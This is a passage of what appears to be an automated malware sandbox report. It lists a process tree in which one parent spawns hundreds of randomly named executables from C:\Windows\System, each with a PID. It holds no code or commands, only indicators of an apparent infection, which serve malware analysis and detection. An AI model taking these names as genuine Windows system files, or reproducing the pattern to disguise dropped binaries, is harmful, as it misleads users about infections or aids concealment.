- C:\Windows\System\yuZKHYb.exe
  C:\Windows\System\yuZKHYb.exe
  2⤵
  PID:4252
- C:\Windows\System\CFjWELz.exe
  C:\Windows\System\CFjWELz.exe
  2⤵
  PID:4268
- C:\Windows\System\yzdYHau.exe
  C:\Windows\System\yzdYHau.exe
  2⤵
  PID:4284
- C:\Windows\System\nYVEMBD.exe
  C:\Windows\System\nYVEMBD.exe
  2⤵
  PID:4300
- C:\Windows\System\ceRoXZq.exe
  C:\Windows\System\ceRoXZq.exe
  2⤵
  PID:4316
- C:\Windows\System\FwIxraC.exe
  C:\Windows\System\FwIxraC.exe
  2⤵
  PID:4332
- C:\Windows\System\LdrVFAH.exe
  C:\Windows\System\LdrVFAH.exe
  2⤵
  PID:4348
- C:\Windows\System\dVuSVUa.exe
  C:\Windows\System\dVuSVUa.exe
  2⤵
  PID:4364
- C:\Windows\System\sOcBNqL.exe
  C:\Windows\System\sOcBNqL.exe
  2⤵
  PID:4380
- C:\Windows\System\BJhRWAU.exe
  C:\Windows\System\BJhRWAU.exe
  2⤵
  PID:4396
- C:\Windows\System\sHCXDpg.exe
  C:\Windows\System\sHCXDpg.exe
  2⤵
  PID:4412
- C:\Windows\System\GIHMpcy.exe
  C:\Windows\System\GIHMpcy.exe
  2⤵
  PID:4428
- C:\Windows\System\SARpIiD.exe
  C:\Windows\System\SARpIiD.exe
  2⤵
  PID:4444
- C:\Windows\System\NkcOnZe.exe
  C:\Windows\System\NkcOnZe.exe
  2⤵
  PID:4460
- C:\Windows\System\FIJeHXw.exe
  C:\Windows\System\FIJeHXw.exe
  2⤵
  PID:4476
- C:\Windows\System\lAoDeXf.exe
  C:\Windows\System\lAoDeXf.exe
  2⤵
  PID:4492
- C:\Windows\System\pZqzpil.exe
  C:\Windows\System\pZqzpil.exe
  2⤵
  PID:4508
- C:\Windows\System\IkBPWCf.exe
  C:\Windows\System\IkBPWCf.exe
  2⤵
  PID:4524
- C:\Windows\System\MKMhiYP.exe
  C:\Windows\System\MKMhiYP.exe
  2⤵
  PID:4540
- C:\Windows\System\dzOtadt.exe
  C:\Windows\System\dzOtadt.exe
  2⤵
  PID:4556
- C:\Windows\System\imrqpVA.exe
  C:\Windows\System\imrqpVA.exe
  2⤵
  PID:4572
- C:\Windows\System\XxypuFx.exe
  C:\Windows\System\XxypuFx.exe
  2⤵
  PID:4588
- C:\Windows\System\JbEttVu.exe
  C:\Windows\System\JbEttVu.exe
  2⤵
  PID:4604
- C:\Windows\System\lVUCxGI.exe
  C:\Windows\System\lVUCxGI.exe
  2⤵
  PID:4620
- C:\Windows\System\zzfKoCz.exe
  C:\Windows\System\zzfKoCz.exe
  2⤵
  PID:4636
- C:\Windows\System\HhMNycW.exe
  C:\Windows\System\HhMNycW.exe
  2⤵
  PID:4652
- C:\Windows\System\UspQEau.exe
  C:\Windows\System\UspQEau.exe
  2⤵
  PID:4668
- C:\Windows\System\YEzxSuk.exe
  C:\Windows\System\YEzxSuk.exe
  2⤵
  PID:4684
- C:\Windows\System\BnsGKYN.exe
  C:\Windows\System\BnsGKYN.exe
  2⤵
  PID:4700
- C:\Windows\System\oWTPLpt.exe
  C:\Windows\System\oWTPLpt.exe
  2⤵
  PID:4716
- C:\Windows\System\gLmyDPy.exe
  C:\Windows\System\gLmyDPy.exe
  2⤵
  PID:4732
- C:\Windows\System\oTrNcev.exe
  C:\Windows\System\oTrNcev.exe
  2⤵
  PID:4748
- C:\Windows\System\BGxUvEu.exe
  C:\Windows\System\BGxUvEu.exe
  2⤵
  PID:4764
- C:\Windows\System\qmheKen.exe
  C:\Windows\System\qmheKen.exe
  2⤵
  PID:4780
- C:\Windows\System\xzLBhun.exe
  C:\Windows\System\xzLBhun.exe
  2⤵
  PID:4796
- C:\Windows\System\iQHJLeU.exe
  C:\Windows\System\iQHJLeU.exe
  2⤵
  PID:4812
- C:\Windows\System\ewREIFR.exe
  C:\Windows\System\ewREIFR.exe
  2⤵
  PID:4828
- C:\Windows\System\HObaGVs.exe
  C:\Windows\System\HObaGVs.exe
  2⤵
  PID:4844
- C:\Windows\System\sEUvfZM.exe
  C:\Windows\System\sEUvfZM.exe
  2⤵
  PID:4860
- C:\Windows\System\bVDEwSc.exe
  C:\Windows\System\bVDEwSc.exe
  2⤵
  PID:4876
- C:\Windows\System\miJFJcF.exe
  C:\Windows\System\miJFJcF.exe
  2⤵
  PID:4892
- C:\Windows\System\UsCpxhD.exe
  C:\Windows\System\UsCpxhD.exe
  2⤵
  PID:4908
- C:\Windows\System\kICdJpS.exe
  C:\Windows\System\kICdJpS.exe
  2⤵
  PID:4924
- C:\Windows\System\qXWrqiF.exe
  C:\Windows\System\qXWrqiF.exe
  2⤵
  PID:4940
- C:\Windows\System\TtQazLd.exe
  C:\Windows\System\TtQazLd.exe
  2⤵
  PID:4956
- C:\Windows\System\MVCgOKM.exe
  C:\Windows\System\MVCgOKM.exe
  2⤵
  PID:4972
- C:\Windows\System\UGOdgNW.exe
  C:\Windows\System\UGOdgNW.exe
  2⤵
  PID:4988
- C:\Windows\System\LwCFcVy.exe
  C:\Windows\System\LwCFcVy.exe
  2⤵
  PID:5004
- C:\Windows\System\cVEXmLW.exe
  C:\Windows\System\cVEXmLW.exe
  2⤵
  PID:5020
- C:\Windows\System\JOtTTOE.exe
  C:\Windows\System\JOtTTOE.exe
  2⤵
  PID:5036
- C:\Windows\System\kaSZmoz.exe
  C:\Windows\System\kaSZmoz.exe
  2⤵
  PID:5052
- C:\Windows\System\zLxfFGK.exe
  C:\Windows\System\zLxfFGK.exe
  2⤵
  PID:5068
- C:\Windows\System\GevwQAv.exe
  C:\Windows\System\GevwQAv.exe
  2⤵
  PID:5084
- C:\Windows\System\FwXVqGl.exe
  C:\Windows\System\FwXVqGl.exe
  2⤵
  PID:5100
- C:\Windows\System\VDNCOri.exe
  C:\Windows\System\VDNCOri.exe
  2⤵
  PID:5116
- C:\Windows\System\uUozkvo.exe
  C:\Windows\System\uUozkvo.exe
  2⤵
  PID:3940
- C:\Windows\System\vbhgcNM.exe
  C:\Windows\System\vbhgcNM.exe
  2⤵
  PID:3924
- C:\Windows\System\uidOHvP.exe
  C:\Windows\System\uidOHvP.exe
  2⤵
  PID:4036
- C:\Windows\System\vVeNyGS.exe
  C:\Windows\System\vVeNyGS.exe
  2⤵
  PID:4068
- C:\Windows\System\oeshMfA.exe
  C:\Windows\System\oeshMfA.exe
  2⤵
  PID:4088
- C:\Windows\System\PKMzvCL.exe
  C:\Windows\System\PKMzvCL.exe
  2⤵
  PID:2688
- C:\Windows\System\bLLCkyt.exe
  C:\Windows\System\bLLCkyt.exe
  2⤵
  PID:2504
- C:\Windows\System\ZLHxvIP.exe
  C:\Windows\System\ZLHxvIP.exe
  2⤵
  PID:3144
- C:\Windows\System\JLkIKIQ.exe
  C:\Windows\System\JLkIKIQ.exe
  2⤵
  PID:3268
- C:\Windows\System\twvQXzR.exe
  C:\Windows\System\twvQXzR.exe
  2⤵
  PID:3444
- C:\Windows\System\JeTjdIa.exe
  C:\Windows\System\JeTjdIa.exe
  2⤵
  PID:3604
- C:\Windows\System\EOgTREJ.exe
  C:\Windows\System\EOgTREJ.exe
  2⤵
  PID:3764
- C:\Windows\System\ibjnlSo.exe
  C:\Windows\System\ibjnlSo.exe
  2⤵
  PID:4104
- C:\Windows\System\fzPqPEx.exe
  C:\Windows\System\fzPqPEx.exe
  2⤵
  PID:4120
- C:\Windows\System\iXvhssO.exe
  C:\Windows\System\iXvhssO.exe
  2⤵
  PID:4168
- C:\Windows\System\ZEJecvz.exe
  C:\Windows\System\ZEJecvz.exe
  2⤵
  PID:4200
- C:\Windows\System\fBVSnlK.exe
  C:\Windows\System\fBVSnlK.exe
  2⤵
  PID:4232
- C:\Windows\System\JRIzhar.exe
  C:\Windows\System\JRIzhar.exe
  2⤵
  PID:4248
- C:\Windows\System\rPbQInE.exe
  C:\Windows\System\rPbQInE.exe
  2⤵
  PID:4280
- C:\Windows\System\TvIYArh.exe
  C:\Windows\System\TvIYArh.exe
  2⤵
  PID:4312
- C:\Windows\System\xXFDoey.exe
  C:\Windows\System\xXFDoey.exe
  2⤵
  PID:4340
- C:\Windows\System\oKrGYXB.exe
  C:\Windows\System\oKrGYXB.exe
  2⤵
  PID:4344
- C:\Windows\System\AahWqfe.exe
  C:\Windows\System\AahWqfe.exe
  2⤵
  PID:4376
- C:\Windows\System\KsmnhrF.exe
  C:\Windows\System\KsmnhrF.exe
  2⤵
  PID:4408
- C:\Windows\System\uvQXAHv.exe
  C:\Windows\System\uvQXAHv.exe
  2⤵
  PID:4440
- C:\Windows\System\lWNvpBc.exe
  C:\Windows\System\lWNvpBc.exe
  2⤵
  PID:4484
- C:\Windows\System\vBxXOkt.exe
  C:\Windows\System\vBxXOkt.exe
  2⤵
  PID:4472
- C:\Windows\System\RDhROFT.exe
  C:\Windows\System\RDhROFT.exe
  2⤵
  PID:2480
- C:\Windows\System\ccvdmTc.exe
  C:\Windows\System\ccvdmTc.exe
  2⤵
  PID:1516
- C:\Windows\System\pGbiKYx.exe
  C:\Windows\System\pGbiKYx.exe
  2⤵
  PID:4532
- C:\Windows\System\tgekjsS.exe
  C:\Windows\System\tgekjsS.exe
  2⤵
  PID:4564
- C:\Windows\System\uLJJsVf.exe
  C:\Windows\System\uLJJsVf.exe
  2⤵
  PID:4612
- C:\Windows\System\HZLaZrL.exe
  C:\Windows\System\HZLaZrL.exe
  2⤵
  PID:4628
- C:\Windows\System\XGGrRzc.exe
  C:\Windows\System\XGGrRzc.exe
  2⤵
  PID:4680
- C:\Windows\System\PUERUcF.exe
  C:\Windows\System\PUERUcF.exe
  2⤵
  PID:4692
- C:\Windows\System\BdcNViI.exe
  C:\Windows\System\BdcNViI.exe
  2⤵
  PID:1808
- C:\Windows\System\avcjWIV.exe
  C:\Windows\System\avcjWIV.exe
  2⤵
  PID:4712
- C:\Windows\System\fZaVINa.exe
  C:\Windows\System\fZaVINa.exe
  2⤵
  PID:4728
- C:\Windows\System\JRKWnIT.exe
  C:\Windows\System\JRKWnIT.exe
  2⤵
  PID:4760
- C:\Windows\System\WeYZpXT.exe
  C:\Windows\System\WeYZpXT.exe
  2⤵
  PID:4808
- C:\Windows\System\AYaMIpa.exe
  C:\Windows\System\AYaMIpa.exe
  2⤵
  PID:4824
- C:\Windows\System\FNxRdFz.exe
  C:\Windows\System\FNxRdFz.exe
  2⤵
  PID:4856
- C:\Windows\System\vdUDOiS.exe
  C:\Windows\System\vdUDOiS.exe
  2⤵
  PID:4888
- C:\Windows\System\ioksfqV.exe
  C:\Windows\System\ioksfqV.exe
  2⤵
  PID:4920
- C:\Windows\System\XwnLuUj.exe
  C:\Windows\System\XwnLuUj.exe
  2⤵
  PID:4952
- C:\Windows\System\hMPkVNy.exe
  C:\Windows\System\hMPkVNy.exe
  2⤵
  PID:4980
- C:\Windows\System\FukKFSb.exe
  C:\Windows\System\FukKFSb.exe
  2⤵
  PID:5028
- C:\Windows\System\pSKJOgk.exe
  C:\Windows\System\pSKJOgk.exe
  2⤵
  PID:5064
- C:\Windows\System\fPEVlmE.exe
  C:\Windows\System\fPEVlmE.exe
  2⤵
  PID:1924
- C:\Windows\System\WspgIUt.exe
  C:\Windows\System\WspgIUt.exe
  2⤵
  PID:1016
- C:\Windows\System\PmEaZNQ.exe
  C:\Windows\System\PmEaZNQ.exe
  2⤵
  PID:1592
- C:\Windows\System\QgUgQot.exe
  C:\Windows\System\QgUgQot.exe
  2⤵
  PID:5108
- C:\Windows\System\oNMXMvl.exe
  C:\Windows\System\oNMXMvl.exe
  2⤵
  PID:1112
- C:\Windows\System\vlNTeeb.exe
  C:\Windows\System\vlNTeeb.exe
  2⤵
  PID:3956
- C:\Windows\System\NbCCigd.exe
  C:\Windows\System\NbCCigd.exe
  2⤵
  PID:1716
- C:\Windows\System\SjAdEKW.exe
  C:\Windows\System\SjAdEKW.exe
  2⤵
  PID:3076
- C:\Windows\System\RmrUPRE.exe
  C:\Windows\System\RmrUPRE.exe
  2⤵
  PID:3380
- C:\Windows\System\BwRHYcr.exe
  C:\Windows\System\BwRHYcr.exe
  2⤵
  PID:3428
- C:\Windows\System\iNQHmnh.exe
  C:\Windows\System\iNQHmnh.exe
  2⤵
  PID:4100
- C:\Windows\System\KxxCBfL.exe
  C:\Windows\System\KxxCBfL.exe
  2⤵
  PID:4132
- C:\Windows\System\zBhzHSU.exe
  C:\Windows\System\zBhzHSU.exe
  2⤵
  PID:2304
- C:\Windows\System\IGcOeQt.exe
  C:\Windows\System\IGcOeQt.exe
  2⤵
  PID:4292
- C:\Windows\System\MXFIFqQ.exe
  C:\Windows\System\MXFIFqQ.exe
  2⤵
  PID:4328
- C:\Windows\System\paCYuLD.exe
  C:\Windows\System\paCYuLD.exe
  2⤵
  PID:4388
- C:\Windows\System\KidrjTH.exe
  C:\Windows\System\KidrjTH.exe
  2⤵
  PID:4404
- C:\Windows\System\eJHPIOm.exe
  C:\Windows\System\eJHPIOm.exe
  2⤵
  PID:4468
- C:\Windows\System\SMVAerA.exe
  C:\Windows\System\SMVAerA.exe
  2⤵
  PID:4504
- C:\Windows\System\YFWFkKF.exe
  C:\Windows\System\YFWFkKF.exe
  2⤵
  PID:4580
- C:\Windows\System\NQBtoxW.exe
  C:\Windows\System\NQBtoxW.exe
  2⤵
  PID:4616
- C:\Windows\System\bCFLYqM.exe
  C:\Windows\System\bCFLYqM.exe
  2⤵
  PID:4660
- C:\Windows\System\jAWvpRr.exe
  C:\Windows\System\jAWvpRr.exe
  2⤵
  PID:1292
- C:\Windows\System\AvDIzZD.exe
  C:\Windows\System\AvDIzZD.exe
  2⤵
  PID:4756
- C:\Windows\System\BIwdmgE.exe
  C:\Windows\System\BIwdmgE.exe
  2⤵
  PID:4836
- C:\Windows\System\KgvkOCg.exe
  C:\Windows\System\KgvkOCg.exe
  2⤵
  PID:4884
- C:\Windows\System\wDowVAj.exe
  C:\Windows\System\wDowVAj.exe
  2⤵
  PID:4932
- C:\Windows\System\StXjKMr.exe
  C:\Windows\System\StXjKMr.exe
  2⤵
  PID:2456
- C:\Windows\System\YHsFbSO.exe
  C:\Windows\System\YHsFbSO.exe
  2⤵
  PID:2276
- C:\Windows\System\CwOcYVf.exe
  C:\Windows\System\CwOcYVf.exe
  2⤵
  PID:5092
- C:\Windows\System\ZARtBKL.exe
  C:\Windows\System\ZARtBKL.exe
  2⤵
  PID:1480
- C:\Windows\System\Bheliib.exe
  C:\Windows\System\Bheliib.exe
  2⤵
  PID:3988
- C:\Windows\System\RxtsCUd.exe
  C:\Windows\System\RxtsCUd.exe
  2⤵
  PID:3316
- C:\Windows\System\oJjLIqY.exe
  C:\Windows\System\oJjLIqY.exe
  2⤵
  PID:3540
- C:\Windows\System\GNmIsnH.exe
  C:\Windows\System\GNmIsnH.exe
  2⤵
  PID:4212
- C:\Windows\System\fCbVcjS.exe
  C:\Windows\System\fCbVcjS.exe
  2⤵
  PID:4276
- C:\Windows\System\vsmMPWr.exe
  C:\Windows\System\vsmMPWr.exe
  2⤵
  PID:4360
- C:\Windows\System\pQujhRD.exe
  C:\Windows\System\pQujhRD.exe
  2⤵
  PID:2240
- C:\Windows\System\kGgsONQ.exe
  C:\Windows\System\kGgsONQ.exe
  2⤵
  PID:4548
- C:\Windows\System\tKhCATb.exe
  C:\Windows\System\tKhCATb.exe
  2⤵
  PID:4632
- C:\Windows\System\nNqscwD.exe
  C:\Windows\System\nNqscwD.exe
  2⤵
  PID:1692
- C:\Windows\System\EqYWpwL.exe
  C:\Windows\System\EqYWpwL.exe
  2⤵
  PID:4900
- C:\Windows\System\yyjwQnR.exe
  C:\Windows\System\yyjwQnR.exe
  2⤵
  PID:5012
- C:\Windows\System\lwyCjaC.exe
  C:\Windows\System\lwyCjaC.exe
  2⤵
  PID:680
- C:\Windows\System\ZiEUtug.exe
  C:\Windows\System\ZiEUtug.exe
  2⤵
  PID:2964
- C:\Windows\System\XymSBMd.exe
  C:\Windows\System\XymSBMd.exe
  2⤵
  PID:3716
- C:\Windows\System\ejGbkub.exe
  C:\Windows\System\ejGbkub.exe
  2⤵
  PID:2804
- C:\Windows\System\BwZUwxk.exe
  C:\Windows\System\BwZUwxk.exe
  2⤵
  PID:2452
- C:\Windows\System\txnKXSd.exe
  C:\Windows\System\txnKXSd.exe
  2⤵
  PID:4740
- C:\Windows\System\ZasDRXD.exe
  C:\Windows\System\ZasDRXD.exe
  2⤵
  PID:5128
- C:\Windows\System\vaAgoRQ.exe
  C:\Windows\System\vaAgoRQ.exe
  2⤵
  PID:5144
- C:\Windows\System\iFMHELk.exe
  C:\Windows\System\iFMHELk.exe
  2⤵
  PID:5160
- C:\Windows\System\OMEYuif.exe
  C:\Windows\System\OMEYuif.exe
  2⤵
  PID:5176
- C:\Windows\System\AjCWsMW.exe
  C:\Windows\System\AjCWsMW.exe
  2⤵
  PID:5192
- C:\Windows\System\MpZFInS.exe
  C:\Windows\System\MpZFInS.exe
  2⤵
  PID:5208
- C:\Windows\System\rPiDMGJ.exe
  C:\Windows\System\rPiDMGJ.exe
  2⤵
  PID:5224
- C:\Windows\System\sVHzJJL.exe
  C:\Windows\System\sVHzJJL.exe
  2⤵
  PID:5240
- C:\Windows\System\zGXsfeB.exe
  C:\Windows\System\zGXsfeB.exe
  2⤵
  PID:5256
- C:\Windows\System\UsosFwL.exe
  C:\Windows\System\UsosFwL.exe
  2⤵
  PID:5272
- C:\Windows\System\exqMXFL.exe
  C:\Windows\System\exqMXFL.exe
  2⤵
  PID:5288
- C:\Windows\System\hBuYmXv.exe
  C:\Windows\System\hBuYmXv.exe
  2⤵
  PID:5304
- C:\Windows\System\Vdqtkzh.exe
  C:\Windows\System\Vdqtkzh.exe
  2⤵
  PID:5320
- C:\Windows\System\NbnhUKi.exe
  C:\Windows\System\NbnhUKi.exe
  2⤵
  PID:5336
- C:\Windows\System\pmCiMGY.exe
  C:\Windows\System\pmCiMGY.exe
  2⤵
  PID:5352
- C:\Windows\System\zZzPXDi.exe
  C:\Windows\System\zZzPXDi.exe
  2⤵
  PID:5368
- C:\Windows\System\IXchEQn.exe
  C:\Windows\System\IXchEQn.exe
  2⤵
  PID:5384
- C:\Windows\System\tjUMCyl.exe
  C:\Windows\System\tjUMCyl.exe
  2⤵
  PID:5400
- C:\Windows\System\sPIwIBQ.exe
  C:\Windows\System\sPIwIBQ.exe
  2⤵
  PID:5416
- C:\Windows\System\BIFajgP.exe
  C:\Windows\System\BIFajgP.exe
  2⤵
  PID:5432
- C:\Windows\System\fJnsCLg.exe
  C:\Windows\System\fJnsCLg.exe
  2⤵
  PID:5448
- C:\Windows\System\VxNtCSE.exe
  C:\Windows\System\VxNtCSE.exe
  2⤵
  PID:5484
- C:\Windows\System\yVlPYoi.exe
  C:\Windows\System\yVlPYoi.exe
  2⤵
  PID:5500
- C:\Windows\System\GYhsQTp.exe
  C:\Windows\System\GYhsQTp.exe
  2⤵
  PID:5516
- C:\Windows\System\psRhqtN.exe
  C:\Windows\System\psRhqtN.exe
  2⤵
  PID:5532
- C:\Windows\System\jwMEHtZ.exe
  C:\Windows\System\jwMEHtZ.exe
  2⤵
  PID:5548
- C:\Windows\System\dYZbhgN.exe
  C:\Windows\System\dYZbhgN.exe
  2⤵
  PID:5564
- C:\Windows\System\hQrlZzO.exe
  C:\Windows\System\hQrlZzO.exe
  2⤵
  PID:5580
- C:\Windows\System\aBrxTRf.exe
  C:\Windows\System\aBrxTRf.exe
  2⤵
  PID:5596
- C:\Windows\System\qkaJcqg.exe
  C:\Windows\System\qkaJcqg.exe
  2⤵
  PID:5612
- C:\Windows\System\nmFcWHF.exe
  C:\Windows\System\nmFcWHF.exe
  2⤵
  PID:5628
- C:\Windows\System\WrscYRg.exe
  C:\Windows\System\WrscYRg.exe
  2⤵
  PID:5644
- C:\Windows\System\bxxcljd.exe
  C:\Windows\System\bxxcljd.exe
  2⤵
  PID:5660
- C:\Windows\System\KSmSfGl.exe
  C:\Windows\System\KSmSfGl.exe
  2⤵
  PID:5676
- C:\Windows\System\klWZMgX.exe
  C:\Windows\System\klWZMgX.exe
  2⤵
  PID:5692
- C:\Windows\System\EsJnYOx.exe
  C:\Windows\System\EsJnYOx.exe
  2⤵
  PID:5708
- C:\Windows\System\bhvYPos.exe
  C:\Windows\System\bhvYPos.exe
  2⤵
  PID:5724
- C:\Windows\System\pjUDqvP.exe
  C:\Windows\System\pjUDqvP.exe
  2⤵
  PID:5740
- C:\Windows\System\itmdbyY.exe
  C:\Windows\System\itmdbyY.exe
  2⤵
  PID:5756
- C:\Windows\System\BEVuJZv.exe
  C:\Windows\System\BEVuJZv.exe
  2⤵
  PID:5772
- C:\Windows\System\NefTmpF.exe
  C:\Windows\System\NefTmpF.exe
  2⤵
  PID:5788
- C:\Windows\System\TrDKmwY.exe
  C:\Windows\System\TrDKmwY.exe
  2⤵
  PID:5804
- C:\Windows\System\pYEQeNc.exe
  C:\Windows\System\pYEQeNc.exe
  2⤵
  PID:5820
- C:\Windows\System\oyUCUCY.exe
  C:\Windows\System\oyUCUCY.exe
  2⤵
  PID:5836
- C:\Windows\System\iwqnUHs.exe
  C:\Windows\System\iwqnUHs.exe
  2⤵
  PID:5852
- C:\Windows\System\aymzqQR.exe
  C:\Windows\System\aymzqQR.exe
  2⤵
  PID:5868
- C:\Windows\System\kQyXNpY.exe
  C:\Windows\System\kQyXNpY.exe
  2⤵
  PID:5884
- C:\Windows\System\nNeqEwE.exe
  C:\Windows\System\nNeqEwE.exe
  2⤵
  PID:5900
- C:\Windows\System\OTiOQyu.exe
  C:\Windows\System\OTiOQyu.exe
  2⤵
  PID:5920
- C:\Windows\System\RaLcDFx.exe
  C:\Windows\System\RaLcDFx.exe
  2⤵
  PID:6044
- C:\Windows\System\DdXUmdm.exe
  C:\Windows\System\DdXUmdm.exe
  2⤵
  PID:6060
- C:\Windows\System\fWrFaPN.exe
  C:\Windows\System\fWrFaPN.exe
  2⤵
  PID:6076
- C:\Windows\System\rlCYpJM.exe
  C:\Windows\System\rlCYpJM.exe
  2⤵
  PID:6092
- C:\Windows\System\nwHlOTb.exe
  C:\Windows\System\nwHlOTb.exe
  2⤵
  PID:6108
- C:\Windows\System\GdwAWab.exe
  C:\Windows\System\GdwAWab.exe
  2⤵
  PID:6124
- C:\Windows\System\AqYCmnu.exe
  C:\Windows\System\AqYCmnu.exe
  2⤵
  PID:6140
- C:\Windows\System\IvlohTE.exe
  C:\Windows\System\IvlohTE.exe
  2⤵
  PID:4820
- C:\Windows\System\NqyNcVN.exe
  C:\Windows\System\NqyNcVN.exe
  2⤵
  PID:3912
- C:\Windows\System\qxhIrKM.exe
  C:\Windows\System\qxhIrKM.exe
  2⤵
  PID:4184
- C:\Windows\System\sSMVlkd.exe
  C:\Windows\System\sSMVlkd.exe
  2⤵
  PID:4568
- C:\Windows\System\dxpXTiP.exe
  C:\Windows\System\dxpXTiP.exe
  2⤵
  PID:5140
- C:\Windows\System\kdBPZEp.exe
  C:\Windows\System\kdBPZEp.exe
  2⤵
  PID:5172
- C:\Windows\System\GMAWkUD.exe
  C:\Windows\System\GMAWkUD.exe
  2⤵
  PID:5204
- C:\Windows\System\zsNIrfW.exe
  C:\Windows\System\zsNIrfW.exe
  2⤵
  PID:5236
- C:\Windows\System\ZdqSGwq.exe
  C:\Windows\System\ZdqSGwq.exe
  2⤵
  PID:5252
- C:\Windows\System\DgKViJa.exe
  C:\Windows\System\DgKViJa.exe
  2⤵
  PID:5332
- C:\Windows\System\zhFuCyY.exe
  C:\Windows\System\zhFuCyY.exe
  2⤵
  PID:5284
- C:\Windows\System\wzzEunr.exe
  C:\Windows\System\wzzEunr.exe
  2⤵
  PID:5424
- C:\Windows\System\KcKuqAu.exe
  C:\Windows\System\KcKuqAu.exe
  2⤵
  PID:5348
- C:\Windows\System\BTWFNJf.exe
  C:\Windows\System\BTWFNJf.exe
  2⤵
  PID:2196
- C:\Windows\System\puWESZF.exe
  C:\Windows\System\puWESZF.exe
  2⤵
  PID:5412
- C:\Windows\System\BOhDtko.exe
  C:\Windows\System\BOhDtko.exe
  2⤵
  PID:5440
- C:\Windows\System\bMQDlPc.exe
  C:\Windows\System\bMQDlPc.exe
  2⤵
  PID:1620
- C:\Windows\System\VqVHNkr.exe
  C:\Windows\System\VqVHNkr.exe
  2⤵
  PID:1868
- C:\Windows\System\XhtZhUA.exe
  C:\Windows\System\XhtZhUA.exe
  2⤵
  PID:2136
- C:\Windows\System\OpfMihd.exe
  C:\Windows\System\OpfMihd.exe
  2⤵
  PID:1228
- C:\Windows\System\cRTGVGI.exe
  C:\Windows\System\cRTGVGI.exe
  2⤵
  PID:5492
- C:\Windows\System\TSODvVv.exe
  C:\Windows\System\TSODvVv.exe
  2⤵
  PID:5556
- C:\Windows\System\zICtrZS.exe
  C:\Windows\System\zICtrZS.exe
  2⤵
  PID:5512
- C:\Windows\System\DiyNIGo.exe
  C:\Windows\System\DiyNIGo.exe
  2⤵
  PID:5588
- C:\Windows\System\JoqJwTe.exe
  C:\Windows\System\JoqJwTe.exe
  2⤵
  PID:5656
- C:\Windows\System\oklPOoM.exe
  C:\Windows\System\oklPOoM.exe
  2⤵
  PID:5700
- C:\Windows\System\sFRZDLl.exe
  C:\Windows\System\sFRZDLl.exe
  2⤵
  PID:5764
- C:\Windows\System\EtpQKgt.exe
  C:\Windows\System\EtpQKgt.exe
  2⤵
  PID:5668
- C:\Windows\System\GwNOpuN.exe
  C:\Windows\System\GwNOpuN.exe
  2⤵
  PID:5796
- C:\Windows\System\CyfcOTv.exe
  C:\Windows\System\CyfcOTv.exe
  2⤵
  PID:5860
- C:\Windows\System\NRyxZFw.exe
  C:\Windows\System\NRyxZFw.exe
  2⤵
  PID:5716
- C:\Windows\System\TdsAHna.exe
  C:\Windows\System\TdsAHna.exe
  2⤵
  PID:5780
- C:\Windows\System\uqIWcis.exe
  C:\Windows\System\uqIWcis.exe
  2⤵
  PID:5844
- C:\Windows\System\UKJWuBs.exe
  C:\Windows\System\UKJWuBs.exe
  2⤵
  PID:5908
- C:\Windows\System\ESXtUan.exe
  C:\Windows\System\ESXtUan.exe
  2⤵
  PID:5892
- C:\Windows\System\VwhFuTC.exe
  C:\Windows\System\VwhFuTC.exe
  2⤵
  PID:5940
- C:\Windows\System\tMXcmQX.exe
  C:\Windows\System\tMXcmQX.exe
  2⤵
  PID:5956
- C:\Windows\System\qyTtXGN.exe
  C:\Windows\System\qyTtXGN.exe
  2⤵
  PID:5972
- C:\Windows\System\fAYHlmc.exe
  C:\Windows\System\fAYHlmc.exe
  2⤵
  PID:5988
- C:\Windows\System\aAUpUpN.exe
  C:\Windows\System\aAUpUpN.exe
  2⤵
  PID:6004
- C:\Windows\System\mGmICfF.exe
  C:\Windows\System\mGmICfF.exe
  2⤵
  PID:6020
- C:\Windows\System\qsEpqOY.exe
  C:\Windows\System\qsEpqOY.exe
  2⤵
  PID:6032
- C:\Windows\System\FwsWCoE.exe
  C:\Windows\System\FwsWCoE.exe
  2⤵
  PID:6056
- C:\Windows\System\OmbMscJ.exe
  C:\Windows\System\OmbMscJ.exe
  2⤵
  PID:6120
- C:\Windows\System\SESRInT.exe
  C:\Windows\System\SESRInT.exe
  2⤵
  PID:3508
- C:\Windows\System\VoJlztU.exe
  C:\Windows\System\VoJlztU.exe
  2⤵
  PID:5200
- C:\Windows\System\hcktIfi.exe
  C:\Windows\System\hcktIfi.exe
  2⤵
  PID:5364
- C:\Windows\System\yZTIuAt.exe
  C:\Windows\System\yZTIuAt.exe
  2⤵
  PID:2380
- C:\Windows\System\mJCwqnO.exe
  C:\Windows\System\mJCwqnO.exe
  2⤵
  PID:6068
- C:\Windows\System\CfXBKjQ.exe
  C:\Windows\System\CfXBKjQ.exe
  2⤵
  PID:6132
- C:\Windows\System\ACelnEt.exe
  C:\Windows\System\ACelnEt.exe
  2⤵
  PID:4520
- C:\Windows\System\xyYFuSI.exe
  C:\Windows\System\xyYFuSI.exe
  2⤵
  PID:5232
- C:\Windows\System\ZcjmXXc.exe
  C:\Windows\System\ZcjmXXc.exe
  2⤵
  PID:5392
- C:\Windows\System\tNekDZs.exe
  C:\Windows\System\tNekDZs.exe
  2⤵
  PID:5380
- C:\Windows\System\NluzYjr.exe
  C:\Windows\System\NluzYjr.exe
  2⤵
  PID:444
- C:\Windows\System\FoYAQiF.exe
  C:\Windows\System\FoYAQiF.exe
  2⤵
  PID:5468
- C:\Windows\System\azPoANe.exe
  C:\Windows\System\azPoANe.exe
  2⤵
  PID:5732
- C:\Windows\System\cOwloMm.exe
  C:\Windows\System\cOwloMm.exe
  2⤵
  PID:5684
- C:\Windows\System\XLgHhgR.exe
  C:\Windows\System\XLgHhgR.exe
  2⤵
  PID:5916
- C:\Windows\System\JqifRTM.exe
  C:\Windows\System\JqifRTM.exe
  2⤵
  PID:5980
- C:\Windows\System\VeIbajj.exe
  C:\Windows\System\VeIbajj.exe
  2⤵
  PID:6040
- C:\Windows\System\IbNhiAQ.exe
  C:\Windows\System\IbNhiAQ.exe
  2⤵
  PID:5264
- C:\Windows\System\xuKNlsr.exe
  C:\Windows\System\xuKNlsr.exe
  2⤵
  PID:4996
- C:\Windows\System\KIAIzXo.exe
  C:\Windows\System\KIAIzXo.exe
  2⤵
  PID:912
- C:\Windows\System\PdCgFlG.exe
  C:\Windows\System\PdCgFlG.exe
  2⤵
  PID:5812
- C:\Windows\System\YGGjHjU.exe
  C:\Windows\System\YGGjHjU.exe
  2⤵
  PID:5096
- C:\Windows\System\HBumhDl.exe
  C:\Windows\System\HBumhDl.exe
  2⤵
  PID:6156
- C:\Windows\System\RrUJZqc.exe
  C:\Windows\System\RrUJZqc.exe
  2⤵
